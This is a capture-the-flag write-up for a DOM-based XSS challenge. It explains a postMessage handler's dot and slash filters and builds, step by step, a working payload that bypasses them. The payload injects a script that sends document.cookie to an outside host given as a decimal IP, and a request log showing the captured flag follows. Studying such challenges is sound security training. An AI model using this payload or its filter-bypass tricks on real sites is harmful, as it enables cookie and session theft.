Description
All the IP addresses and domain names have dots, but can you hack without dot?
http://13.57.104.34/
Resolution
Navigating to http://13.57.104.34/ is giving the following error in the console:
Uncaught SyntaxError: Unexpected end of JSON input at JSON.parse () at window.onload ((index):183)
The source code on line 183 is:
window.onload = function (ev) { postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*') }
A function taking in argument a JSON-urlencoded coming from location.search.
W3Schools: “The search property sets or returns the query string part of a URL, including the question mark (?).”
Example:
http://13.57.104.34/?arg1=value1&arg2=value2 > location.search "?arg1=value1&arg2=value2"
As there’s a substr(1), it will remove the 1st character:
> location.search.substr(1) "arg1=value1&arg2=value2"
As the arguments need to be a valid JSON urlencoded:
> encodeURIComponent('{"key":"value"}') %7B%22key%22%3A%22value%22%7D
Appended to the URL:
Plain: http://13.57.104.34/?{"key":"value"} Encoded: http://13.57.104.34/?%7B%22key%22%3A%22value%22%7D
(We’ll use the plain text version as it’s easier to explain, encoding will come at the last step.)
Now the JSON is sent through postMessage() which is used to post a message back to the HTML page.
Mozilla: “The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.”
The function handling this event:
window.addEventListener('message', function (e) { if (e.data.iframe) { if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) { if (e.data.iframe.type == "iframe") { lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent); } else { lls(e.data.iframe.value) } } } }, false);
Let’s debug line by line!
To pass this test:
if (e.data.iframe) {
> e.data {"key":"value"} > e.data.iframe undefined
The JSON must contain a key called “iframe”, the new payload is:
http://13.57.104.34/?{"iframe":"value"}
Now the JSON value for key “iframe” is “value”:
> e.data.iframe value
To pass the line with the others tests (reordered):
e.data.iframe.value
=> A key named “value” must exists in the value of the key “iframe”. #inception
{ "iframe":{ "value":"meh" } }
e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1
=> The value must NOT contain dots and slashes.
e.data.iframe.value.indexOf("。") == -1 && \
=> The value must NOT contain degrees too.
(Why you’ll say? Degree signs can be considered as dots by your browser! http://google。com)
typeof(e.data.iframe != 'object')) {
=> e.data.iframe must NOT be the string “object”
Not to be mingled with “typeof(e.data.iframe) != ‘object’)” as it has to be a JSON object!
Let’s continue with the rest of the script:
if (e.data.iframe.type == "iframe") { lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent); } else { lls(e.data.iframe.value) }
The function lce:
function lce(doc, def, parent) { var el = null; if (typeof doc.createElementNS != "undefined") el = doc.createElementNS("http://www.w3.org/1999/xhtml", def[0]); else if (typeof doc.createElement != "undefined") el = doc.createElement(def[0]); if (!el) return false; for (var i = 1; i < def.length; i++) el.setAttribute(def[i++], def[i]); if (parent) parent.appendChild(el); return el; };
=> Creates a new element in the DOM taking all parameters in def[] to build it.
The function lls:
function lls(src) { var el = document.createElement('script'); if (el) { el.setAttribute('type', 'text/javascript'); el.src = src; document.body.appendChild(el); } };
=> Creates a new element <script> in the DOM with the given src.
Returning to the main script:
if (e.data.iframe.type == "iframe") { lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
If e.data.iframe.type == “iframe” it should create:
<iframe width="0" height="0" src="[e.data.iframe.value]"></iframe>
Does it really works? Not at all!
Uncaught ReferenceError: doc is not defined
As we want to jump in the else case, e.data.iframe.type must NOT be “iframe”, here’s the new payload:
{"iframe":{"value":"meh","type":"notiframe"}}
Thanks to the lls() function it creates the following element in the DOM:
<script type="text/javascript" src="meh"></script>
We can abuse of lls() to write javascript code in order to call lce() with our own parameters:
{"iframe":{"value":"data:,lce(document,['img','src','URL'],document['body']);","type":"notiframe"}} # document['body'] = document.body (we bypassed the dots filter)
Giving the result:
<script type="text/javascript" src="data:,lce(document,['img','src','URL'],document['body']);"></script> <img src="URL">
On the next steps we need to add // before URL and add +document[‘cookie’]:
{"iframe":{"value":"data:,lce(document,['img','src',String['fromCharCode'](0x2f)+String['fromCharCode'](0x2f)+'URL?'+document['cookie']],document['body']);","type":"notiframe"}}
Giving the result:
<script type="text/javascript" src="data:,lce(document,['img','src',String['fromCharCode'](0x2f)+String['fromCharCode'](0x2f)+'URL?'+document['cookie']],document['body']);"></script> <img src="//URL?">
Using an IP in decimal form will not use dots: https://www.ipaddressguide.com/ip, replace the string “URL” with the integer.
Final payload to submit:
Plain: http://13.57.104.34/?{"iframe":{"value":"data:,lce(document,['img','src',String['fromCharCode'](0x2f)+String['fromCharCode'](0x2f)+'0123456789?'+document['cookie']],document['body']);","type":"notiframe"}} Encoded : http://13.57.104.34/?{%22iframe%22:{%22value%22:%22data:,lce(document,[%27img%27,%27src%27,String[%27fromCharCode%27](0x2f)+String[%27fromCharCode%27](0x2f)+%270123456789?%27+document[%27cookie%27]],document[%27body%27]);%22,%22type%22:%22notiframe%22}}
The server has been XXSed with success!
GET /?flag=rwctf%7BL00kI5TheFlo9%7D HTTP/1.1 200 0
The flag was: rwctf{L00kI5TheFlo9}
Can’t we just directly log the cookies using console.log(document.cookie)